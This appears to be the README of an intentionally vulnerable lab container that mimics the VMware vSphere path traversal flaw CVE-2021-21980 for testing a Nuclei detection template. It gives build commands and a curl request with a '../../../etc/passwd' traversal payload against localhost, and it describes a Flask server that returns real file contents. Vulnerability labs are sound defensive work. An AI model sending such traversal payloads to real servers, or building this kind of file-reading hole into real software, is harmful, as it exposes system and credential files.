
Realistic vulnerable lab for CVE-2021-21980 (VMware vSphere Path Traversal) - Actual file exploitation, not a mock server
Realistic test environment simulating VMware vSphere Web Client path traversal vulnerability.
⚠️ WARNING: Vulnerable test environment. Do NOT expose to internet!
podman build -t vcenter-lab .
podman run -d -p 443:443 --name vcenter-lab vcenter-lab
curl -k "https://localhost/ui/vic-rest/services/containerView?id=../../../etc/passwd"
nuclei -t CVE-2021-21980.yaml -u https://localhost -debug
✅ Actually reads files from container filesystem using Python file I/O
✅ Realistic behavior - Handles path traversal like real vSphere
✅ VMware headers - Includes Server: VMware-HTTP-Server/1.0
✅ SSL/TLS - Self-signed certificate generation
✅ Not hardcoded - Returns actual file contents
Dockerfile - Container build configurationserver.py - Vulnerable Flask applicationCVE-2021-21980.yaml - Nuclei detection templateREADME.md - This fileThis lab was validated with Nuclei showing:
podman stop vcenter-lab && podman rm vcenter-lab